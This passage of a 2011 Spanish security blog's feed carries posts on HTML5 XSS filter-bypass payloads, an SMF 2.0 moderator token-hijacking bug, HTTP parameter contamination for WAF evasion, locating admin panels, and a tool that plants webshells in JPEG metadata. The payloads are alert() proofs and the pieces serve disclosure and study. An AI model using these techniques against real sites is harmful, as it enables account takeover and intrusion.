href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=873543078945906007' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/873543078945906007'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/873543078945906007'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2011/08/html5-iii-rompiendo-medidas-anti.html' title='HTML5 [III]: Rompiendo medidas anti-Clickjacking'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-5982717040923015400</id><published>2011-08-10T04:36:00.007+02:00</published><updated>2011-08-10T04:56:58.375+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Técnicas'/><category scheme='http://www.blogger.com/atom/ns#' term='HTML5'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><title type='text'>HTML5 y el bypassing de filtros XSS  [II]</title><content type='html'>Saludos,&lt;br /&gt;&lt;br /&gt;   De nuevo vengo a publicar "nuevas" formas de bypassear filtros anti-XSS que se basen en listas negras de strings, como &lt;a href=http://0verl0ad.blogspot.com/2011/07/html5-nuevos-vectores-xss-bypass.html"&gt;ya hice hace poco&lt;/a&gt;. Gracias a que HTML5 ha introducido nuevos eventos que nos permiten ejecutar JS podremos encontrar filtros que no hayan actualizado sus strings restringidos. &lt;br /&gt;&lt;br /&gt;  Los nuevos elementos que a priori he visto interesantes son OnBeforeUnload, OnUnLoad, y los eventos que se activan por teclado (OnKeyDown, OnKeyUp,OnKeyPress). Respecto a los primeros citados, estos se activan cuando se pierde la página donde se ejecuta, es decir, cuando por ejemplo cerramos la ventana, actualizamos, vamos hacia atrás, seguimos un link, etc. Se trata de una acción bastante común en la navegación, por lo que tenemos la certeza de que en algún momento va a ser ejecutado:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;/body&gt;&amp;lt;body onBeforeUnload=alert(/XSSED/)&gt;Alfa&amp;lt;/body&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Por otra parte la familia de eventos "OnKey" se ejecutan cuando una tecla es pulsada (Down), cuando se levanta el dedo de ésta (Up), y cuando se han realizado ambas acciones (Press):&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;/body&gt; &amp;lt;body OnKeyDown=alert(/XSSED/)&gt;Charlie&amp;lt;/body&gt;&lt;/code&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-5982717040923015400?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/5982717040923015400/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=5982717040923015400' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/5982717040923015400'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/5982717040923015400'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2011/08/html5-y-el-bypassing-de-filtros-xss-ii.html' title='HTML5 y el bypassing de filtros XSS  [II]'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-768418037163508301</id><published>2011-08-06T17:17:00.003+02:00</published><updated>2011-08-06T17:56:10.986+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Session Hijacking'/><category scheme='http://www.blogger.com/atom/ns#' term='CSRF/XSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='SMF'/><category scheme='http://www.blogger.com/atom/ns#' term='Privilege Escalade'/><title type='text'>SMF 2.0: Privilege escalade (from Token Hijacking)</title><content type='html'>Saludos,&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   Como recordareis recientemente habíamos descubierto cierta vulnerabilidad en el sistema de foros SMF que nos permitía robar el token del staff (incluido el admin), y entre los posibles usos estaba el bypass de las protecciones contra CSRF. Como es lógico, lo primero que pensemos era en intentar hacer una escalada de privilegios hasta admin, cosa que nuestro querido amigo Seth logró.&lt;br /&gt;&lt;br /&gt;   En el siguiente disclosure se muestra el PoC codeado por Seth para escalar privilegios hasta admin, además de explicar cómo parchearlo y otra forma de obtener el token (también relacionado con el centro de moderación):&lt;br /&gt;&lt;br /&gt;&lt;a href=http://xd-blog.com.ar//descargas/smf%202.0%20session%20hijacking.txt&gt; SMF 2.0: Session hijacking disclosure [English]&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-768418037163508301?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/768418037163508301/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=768418037163508301' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/768418037163508301'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/768418037163508301'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2011/08/smf-20-privilege-escalade-from-token.html' title='SMF 2.0: Privilege escalade (from Token Hijacking)'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-5447816945471472983</id><published>2011-08-03T12:57:00.004+02:00</published><updated>2011-08-03T13:34:01.936+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Otras Vulnerabilidades'/><category scheme='http://www.blogger.com/atom/ns#' term='Técnicas'/><category scheme='http://www.blogger.com/atom/ns#' term='Session Hijacking'/><category scheme='http://www.blogger.com/atom/ns#' term='CSRF/XSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='SMF'/><title type='text'>SMF 2.0: Token Hijacking</title><content type='html'>Saludos,&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   El otro día enredando y tratando de auditar cierto foro me encontré con este pequeña vulnerabilidad, que pudiera pasar por insignificante pero que sirve de llave para ejecutar un CSRF.&lt;a href="http://0verl0ad.blogspot.com/2008/11/universal-hijacking-by-hotlinking-get.html"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;  En primer lugar: ¿qué diablos es un token de sesión? Podemos entender como un token, en este contexto, como una cadena identificadora, generada en el momento de iniciar nuestra sesión, que permite autenticar nuestra acciones dentro de nuestra sesión como nuestras. De esta forma se evitan los ataques CSRF, puesto que si por ejemplo para realizar un logout es requerido el token (P.E.: http://webfalsa.com/index?action=logout;[aquí el token] ) a menos que el atacante lo conozca de antemano no podrá llevar a cabo el CSRF para desloguearlo.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Es por ello que cuando nos encontramos con la posibilidad de ejercer un robo de tokens nos estamos saltando esa restricción. En este caso concreto, el del sistema de foros SMF 2.0, el problema subyace en que el token es enviado por una petición HTTP de tipo GET, por lo que como &lt;a href="http://0verl0ad.blogspot.com/2008/11/universal-hijacking-by-hotlinking-get.html"&gt;ya escribí en su momento&lt;/a&gt;, se puede interceptar usando como sniffer un archivo .php en nuestro servidor (como se puede observar en el enlace.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   Ahora bien, ¿donde se nos expone el token como para poder interceptarlo?. En el centro de moderación, cuando navegamos a través de él (viendo los logs, o cualquier otra cosa que atañe a los moderadores, y superiores, únicamente) y volvemos al apartado principal del centro de moderación, podemos observar en la url lo siguiente:&lt;br /&gt;&lt;br /&gt;/index.php?action=moderate;area=index;&lt;span style="font-weight:bold;"&gt;e2971bcc=2fddd45d00d9d9482005af0737680afd&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Siendo lo que está en negrita el token. En ese mismo sitio encontramos un apartado tipo tagboard ("Notas de moderación") en el cual podemos insertar BBCode, y entre las etiquetas permitidas se cuentra la recurrente [img]. &lt;br /&gt;&lt;br /&gt;  Así pues, podremos capturar los token de sesión de los otros moderadores, gmods y administradores, y poder desarrollar a posteriori ataques tipo CSRF.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-5447816945471472983?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/5447816945471472983/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=5447816945471472983' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/5447816945471472983'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/5447816945471472983'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2011/08/smf-20-token-hijacking.html' title='SMF 2.0: Token Hijacking'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-1114069454491527262</id><published>2011-07-26T17:09:00.002+02:00</published><updated>2011-07-26T17:16:32.738+02:00</updated><title type='text'>¡Logo para el blog!</title><content type='html'>Saludos,&lt;br /&gt;&lt;br /&gt;   Pues sí, por fin tenemos un logotipo. ¡Todo gracias a 5475UK1!:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-Tffwy4NHbhM/Ti7aCCnsl2I/AAAAAAAAADk/FGx2rVicixw/s1600/mantis_saliendo_del_triangulo_by_noirusd-d41pe53.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 278px;" src="http://1.bp.blogspot.com/-Tffwy4NHbhM/Ti7aCCnsl2I/AAAAAAAAADk/FGx2rVicixw/s320/mantis_saliendo_del_triangulo_by_noirusd-d41pe53.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5633679912485033826" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-1114069454491527262?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/1114069454491527262/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=1114069454491527262' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/1114069454491527262'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/1114069454491527262'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2011/07/logo-para-el-blog.html' title='¡Logo para el blog!'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-Tffwy4NHbhM/Ti7aCCnsl2I/AAAAAAAAADk/FGx2rVicixw/s72-c/mantis_saliendo_del_triangulo_by_noirusd-d41pe53.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-7758454517482886657</id><published>2011-07-23T01:24:00.006+02:00</published><updated>2011-07-23T01:45:06.460+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Técnicas'/><category scheme='http://www.blogger.com/atom/ns#' term='HTML5'/><category scheme='http://www.blogger.com/atom/ns#' term='CheatSheet'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><title type='text'>HTML5: Nuevos vectores XSS (Bypass)</title><content type='html'>Saludos,&lt;br /&gt;&lt;br /&gt;  Estoy hechando un vistazo a esta &lt;a href="http://www.html5tutorial.info/index.php"&gt;web&lt;/a&gt; para documentarme sobre HTML5 cuando me he topado con algunas cuestiones bastante interesantes puesto que pueden llegar a ser útiles para el bypass de algunos filtros contra XSS. &lt;br /&gt;&lt;br /&gt;   Al navegar por la  mencionada web me he encontrado con los nuevos elementos "&amp;lt;video&gt;" y "&amp;lt;audio&gt;, cuyo funcionamiento es similar al clásico &amp;lt;image&gt; (con un atributo SRC que es donde se encuentra el video/audio a reproducir). Dudo mucho que actualmente se filtren dichos elementos en los mensajes, por lo que se puede recurrir al mismo truco que se hacía con image: colocar como src del video algo inexistente y después usar el evento onerror para ejecutar nuestro XSS. Algo así:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&amp;lt;video src=. onerror=alert(/XSSed/)&gt;&lt;br /&gt;&amp;lt;audio src=. onerror=alert(/XSSed/)&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;       Por otra parte también me ha llamado la atención un nuevo atributo para input llamado autofocus (&lt;a href="http://www.html5tutorial.info/html5-autofocus.php"&gt;http://www.html5tutorial.info/html5-autofocus.php&lt;/a&gt;) que permitiría la ejecución de código javascript sin necesidad de la interacción con el usuario (mejor que onclick y onmouseover). El código sería algo tipo:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&amp;lt;input name="XSS" onfocus=alert(/XSSed/) autofocus&gt;&lt;br /&gt;&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-7758454517482886657?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/7758454517482886657/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=7758454517482886657' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/7758454517482886657'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/7758454517482886657'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2011/07/html5-nuevos-vectores-xss-bypass.html' title='HTML5: Nuevos vectores XSS (Bypass)'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-775404988329158879</id><published>2011-07-21T23:10:00.003+02:00</published><updated>2011-07-21T23:37:37.003+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Técnicas'/><category scheme='http://www.blogger.com/atom/ns#' term='HTTP'/><title type='text'>HPC: HTTP Parameter Contamination</title><content type='html'>Saludos,&lt;br /&gt;&lt;br /&gt;   Estos días ha estado rulando por la red un pequeño paper (firmado por RSnake, j0rgan y lightos) llamado "HTTP Parameter Contamination", en el que exponen sus investigaciones sobre la intoxicación de los parámetros enviados al servidor (peticiones GET, POST...). La semilla de todo esto fue otra presentación en 2009 que trataba también de malformar los parámetros enviados, en este caso haciendo que, por ejemplo, se enviasen dos variables con el mismo nombre pero distinto valor ( /index.php?var1=A&amp;var1=B ). Al tratarse de algo inesperado los servidores manejan esta situación de distintas formas (algunos dejan la variable con el primer valor asignado, otras con el segundo, o las concatenaban). &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Este primer paper ( que linkearé al final de este post) llamaba a la técnica de setear una misma variable dos veces "HPP, HTTP Parameter Polluting", y de ella se podían extraer dos posibles vertientes de trabajo. Por un lado implícitamente el hecho de que en cada servidor ante esta técnica la respuesta era diferente implica su posible utilización para realizar fingerprinting. Por el otro lado también habría una nueva puerta para el bypass de WAFs (por ejemplo, en el caso en el que se producía concatenación se podría aprovechar ésta para realizar inyecciones SQL).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   La "nueva" técnica (HPC) intoxica los parámetros malformando las variables (y sus valores asignados) con caracteres reservados, provocando igualmente respuestas /in/esperadas  por parte del servidor. Nuevamente estas respuestas han sido recogidas en una tabla, permitiendo la identificación de un servidor a través del tipo de respuesta que obtengamos al malformar la petición (dicho cuadro, junto con el obtenido al aplicar HPP aparecen en los respectivos papers que están más abajo). Además al igual que el anterior caso también permite el bypass de WAFs.&lt;br /&gt;&lt;br /&gt;&lt;a href="https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf"&gt;&lt;br /&gt;[1] HTTP Parameter Pollution&lt;/a&gt;&lt;br /&gt;[2] &lt;a href="http://www.exploit-db.com/download_pdf/17534"&gt;HTTP Parameter Contamination&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-775404988329158879?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/775404988329158879/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=775404988329158879' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/775404988329158879'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/775404988329158879'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2011/07/hpc-http-parameter-contamination.html' title='HPC: HTTP Parameter Contamination'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-6380450238598527541</id><published>2011-07-19T12:12:00.003+02:00</published><updated>2011-07-19T12:15:20.221+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Técnicas'/><category scheme='http://www.blogger.com/atom/ns#' term='Enumeración'/><title type='text'>Localizar panel de control</title><content type='html'>Saludos,&lt;br /&gt;&lt;br /&gt;   Hago esta pequeña guía rápida porque ya son bastantes personas las que preguntan como encontrar el panel de administración (imagino que la mayoría de estas personas simplemente a lanzar alguna tool para encontrar SQLi sin preocuparse por nada más).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    Para encontrar la zona de login normalmente basta con sólo navegar por el sitio web y estar atentos. Cuando ya has auditado algunas webs sabes más o menos por donde van los tiros, y puedes deducir de forma habitualmente exacta, donde se encuentra el panel de administración. La experiencia adquirida es un grado en esto.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1) Aplicaciones pre-fabricadas&lt;br /&gt;&lt;br /&gt;   Por otra parte cuando una web utiliza aplicaciones pre-fabricadas no suelen variar las rutas de sus archivos, por lo que si es este el caso podeis instalaros dicha aplicación y comprobar donde se encuentran los archivos que buscais, o si no podeis leer la documentación oficial.&lt;br /&gt;&lt;br /&gt;2) Robots.txt&lt;br /&gt;&lt;br /&gt;    Es bastante común que los webmaster incluyan en el archivo robots.txt las rutas y los archivos que no quieren que queden indexados por los motores de búsqueda, por lo que se pueden encontrar allí a veces información sensible sobre donde buscar, o incluso la propia ruta del login del admin.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3) Fuerza bruta&lt;br /&gt;&lt;br /&gt;   Si de ninguna forma se consigue localizar también se puede recurrir a la fuerza bruta, utilizando aplicaciones muy sencillas que lancen cientos de peticiones GET a directorios y archivos que nosotros tenemos guardados en un diccionario. Las ventajas de esto es que si tenemos un buen diccionario seguro que damos en el clavo, pero esta ventaja es contrarrestada por los aspectos negativos que tiene esta técnica: mucho ruido. Cuando el webmaster analice los logs se va a dar cuenta de una ingente cantidad de errores 404 procedentes de una misma IP en un lapso de tiempo muy corto, por lo que es fácil de detectar. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;4) Web Crawlers&lt;br /&gt;&lt;br /&gt;   Se trata de herramientas que guardan todos los links de un sitio web y continúan navegando a través de ellos, añadiendo a  la lista los nuevos links encontrados en la URL que han seguido. De esta forma se puede establecer un mapa de la web de todos los archivos linkeados. Codear una herramienta de este estilo es sencillo (por lo menos en perl simplemente necesitamos WWW::Mechanize y un algortimo de un par de líneas), por lo que puede ser útil si nosotros no hemos encontrado algún link que lleve a la zona de login a simple vista.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   Por otra parte también tiene sus inconvenientes, el  más lógico es que puede que el panel de administración no esté linkeado en ninguna parte de la web, además de que si la web es de gran tamaño va a ser un intento inútil, puesto que vamos a obtener gran cantidad de resultados y vamos a consumir una gran cantidad de recursos.&lt;br /&gt;&lt;br /&gt;&lt;hr&gt;&lt;br /&gt;&lt;br /&gt;Si quereis añadir alguna forma más que soleis usar para este cometido posteadla.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-6380450238598527541?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/6380450238598527541/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=6380450238598527541' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/6380450238598527541'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/6380450238598527541'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2011/07/localizar-panel-de-control.html' title='Localizar panel de control'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-4785307221823433359</id><published>2011-06-28T20:30:00.006+02:00</published><updated>2011-06-28T20:42:21.891+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Herramientas'/><category scheme='http://www.blogger.com/atom/ns#' term='File Inclusion'/><category scheme='http://www.blogger.com/atom/ns#' term='Colaboraciones'/><title type='text'>0verLFI versión GUI</title><content type='html'>Saludos,&lt;br /&gt;&lt;br /&gt;   &lt;a href="http://doddy-hackman.blogspot.com/"&gt;Doddy H.&lt;/a&gt;, usuario de CPH, ha codeado una versión de &lt;a href="http://0verl0ad.blogspot.com/2011/06/0verlfi-inyecta-webshells-en-metadatos.html"&gt;0verLFI&lt;/a&gt; con interfaz gráfica, usando para ello la librería TK. &lt;br /&gt;&lt;br /&gt; Agradecemos mucho su colaboarición, y ya sabeis si deseais colaborar con algún code, información, publicación o cualquier cosa podeis mandar un correo a overloadblog /at/ hotmail.es&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.portalhacker.net/index.php/topic,139223.msg656009.html"&gt;[Source de LFI Image Helper (0verLFI versión GUI]&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-4785307221823433359?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/4785307221823433359/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=4785307221823433359' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/4785307221823433359'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/4785307221823433359'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2011/06/0verlfi-version-gui.html' title='0verLFI versión GUI'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-4555655418612024534</id><published>2011-06-26T01:23:00.004+02:00</published><updated>2011-06-29T03:07:53.089+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Herramientas'/><category scheme='http://www.blogger.com/atom/ns#' term='File Inclusion'/><title type='text'>0verLFI: inyecta webshells en metadatos (JPEG)</title><content type='html'>Saludos,&lt;br /&gt;&lt;br /&gt;   Hoy he codeado esta pequeña y sencilla herramienta para meter webshells dentro de los metadatos de una imagen, sin alterar su visualización. Ideal para explotar LFIs, puesto que podrá pasar desapercibida como una imagen más (un avatar, archivo adjunto, etc.), totalmente inofensiva. Screenshot:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src=http://img856.imageshack.us/img856/7545/17694530.jpg&gt;&lt;br /&gt;&lt;br /&gt;Aquí podemos ver como la imagen se mantiene en perfecto estado:&lt;br /&gt;&lt;br /&gt;&lt;img src=http://img864.imageshack.us/img864/5825/60769865w.jpg&gt;&lt;br /&gt;&lt;br /&gt;Y por último probandola en un entorno local vulnerable:&lt;br /&gt;&lt;br /&gt;&lt;img src=http://img851.imageshack.us/img851/3236/57842146.jpg&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://pastebin.com/2Z8c0HZa"&gt;[Source de la Herramienta]&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-4555655418612024534?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/4555655418612024534/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=4555655418612024534' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/4555655418612024534'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/4555655418612024534'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2011/06/0verlfi-inyecta-webshells-en-metadatos.html' title='0verLFI: inyecta webshells en metadatos (JPEG)'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-8130894585275178097</id><published>2011-05-26T14:29:00.006+02:00</published><updated>2011-05-26T14:54:47.160+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cookies'/><title type='text'>Zombie Cookies: cookies que vuelven a la vida</title><content type='html'>Saludos,&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    Como ya adelanté en el anterior post, las próximas publicaciones van a intentar ajustarse a problemas relacionados con Cookies. En esta ocasión quería hablaros sobre las denominadas Zombie Cookies. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    Con Zombie Cookies 